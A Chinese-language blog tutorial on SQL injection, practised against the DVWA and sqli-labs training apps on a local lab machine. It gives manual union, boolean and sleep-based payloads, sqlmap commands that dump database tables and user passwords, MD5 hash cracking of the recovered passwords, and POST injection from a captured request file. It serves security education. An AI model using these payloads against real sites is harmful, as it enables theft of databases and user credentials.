Web安全--SQL注入(sqlmap扫描实例)

一、sqlmap简介
sqlmap就是一个用来做sql注入攻击的工具

二、实例操作

这是我们本次进行sql注入攻击实例的地址:是我自己本地搭建的kali
在这里插入图片描述
方法一:手动攻击
1. 确定注入的类型
(1)

- 操作一:在搜索框中输入:1
在这里插入图片描述
结果:正确得到搜索结果
- 操作二:在输入框中输入 1’
-
如果1显示在报错信息里,那么这里就是字符型注入,如果1不在报错信息里的话那就是数字型注入,字符型注入的话在后面操作的时候就需要加个’ 号进行闭合,数字型则不需要
结果: 根据报错内容可知,原本这里是个字符。
红色标注里就是报错的地方,这里显示多了一个’号

2. 布尔查询
- 操作一:输入恒为真的等式,结果如下
在这里插入图片描述
- 操作二:输入恒为假的等式,结果如下:
在这里插入图片描述
3. 联合查询

 ' union select 1, database() -- 得到当前数据库名

在这里插入图片描述

' union select 1, table_schema from information_schema.tables --     得到库名

在这里插入图片描述

' union select 1, table_name from information_schema.tables -- 得到表名

在这里插入图片描述

' union select 1,concat(table_schema,table_name) from information_schema.tables -- 同时得到库名和表名

在这里插入图片描述

' union select 1,column_name from information_schema.columns where table_name='users' -- 得到表字段(列名)

在这里插入图片描述

' union select user,password from users --    得到表里的数据

在这里插入图片描述
得到上面的密码后再通过MD5进行解密即可
在这里插入图片描述
这样我们就得到了登录的帐号密码,或者是想要的数据信息。

方法二:sqlmap自动扫描

首先可以通过sqlmap -h查看讲解

这里我们列出几个常用的命令:
-u "url"  检测注入点
--dbs   列出所有数据库的名字
--current-db   列出当前数据库的名字
-D   指定一个数据库
--tables  列出表名
-T 指定表名
--columns   列出所有的字段名
-C    指定字段
--dump   列出字段内容

我们还是对以下这个页面进行sql注入,这里可以看到只有一个变量id
在这里插入图片描述

  • 操作一:
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

这里我们只是对id进行sql注入,所以可以省略为

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1"

在这里插入图片描述
这里提示注入需要登录,因为这里页面是需要登录kali以后才能进到的页面,所以这里我们加上cookie
(打开f12,刷新当前页面就能得到cookie)

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1" --cookie=security=low; PHPSESSID=a0v2lns70dfbtm7oakvdpddi61; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

在这里插入图片描述

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1"  --dbs    得到所有库

在这里插入图片描述

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --current-dbs    得到当前库
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" -D "dvwa" --tables   得到dvwa库里所有表

在这里插入图片描述

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" -D "dvwa" -T "users" --columns
得到表里所有字段
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" -D "dvwa" -T "users"  -C "username,password" --dump     得到字段的值

以上两种方式都是针对GET型,那么如果是POST类型(如后台登录)注入,就需要使用到下面的方法:
1.打开burpsuite工具,设置代理,开启拦截
2.在登录页面随便输入账号和密码,点击登录按钮
3.此时打开burpsuite工具,copy图中位置拦截的请求内容

在这里插入图片描述
4. 在服务器的sqlmap里新建文件并放入刚刚复制的内容: vim post.txt
5.
5. sqlmap -r post.txt
输入命令以后就开始自动进行Sql注入测试了

学习视频:https://www.bilibili.com/video/av88225380?p=18
实例链接:https://blog.csdn.net/qq_41420747/article/details/81836327

操作步骤及思路:
对象:http://localhost/sqli-labs-master/Less-1/
–报错注入

  1. http://localhost/sqli-labs-master/Less-1/?id=1
    查看页面是否能够返回不同元素
  2. http://localhost/sqli-labs-master/Less-1/?id=2
    查看页面是否返回不同元素,如果是,则表明数据库的内容会回显到页面上,所以这里如果存在sql注入的话首选联合查询注入
    –查看闭合方式(即是数字型还是字符型)
  3. http://localhost/sqli-labs-master/Less-1/?id=1’
    在这里插入图片描述
    页面报错,我们输入的1在报错中有体现,所以属于字符型输入,如果这里没有体现就属于数字型注入
    字符型输入的闭合方式是’,数字型不需要闭合
    这里1后面有其他的sql语句,所以需要对后面的内容进行注释,用–+或者-- (这里有个空格)
    –检测布尔注入
  4. http://localhost/sqli-labs-master/Less-1/?id=1’ and 1=1 --+
    页面正确展示数据
  5. http://localhost/sqli-labs-master/Less-1/?id=1’ and 1=2 --+
    页面数据发生变化
    –延时注入
  6. http://localhost/sqli-labs-master/Less-1/?id=1’ and sleep(5) --+
    页面加载等待,此时不用管页面展示什么,只是看加载是否等待
    –联合查询
  7. http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 union select 1
    进行联合查询时需要将前面的语句置为假,然后才会正确展示后面的语句
  8. http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 union select 1,2
    这里是根据页面提示找到数据的正确列
  9. http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 union select 1,version(),3
    找到列以后就把字段换成对应的信息,这里如果正确展示了version()的信息那注入测试就结束了,因为能得到version就代表我们能获取到数据库的敏感信息了。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章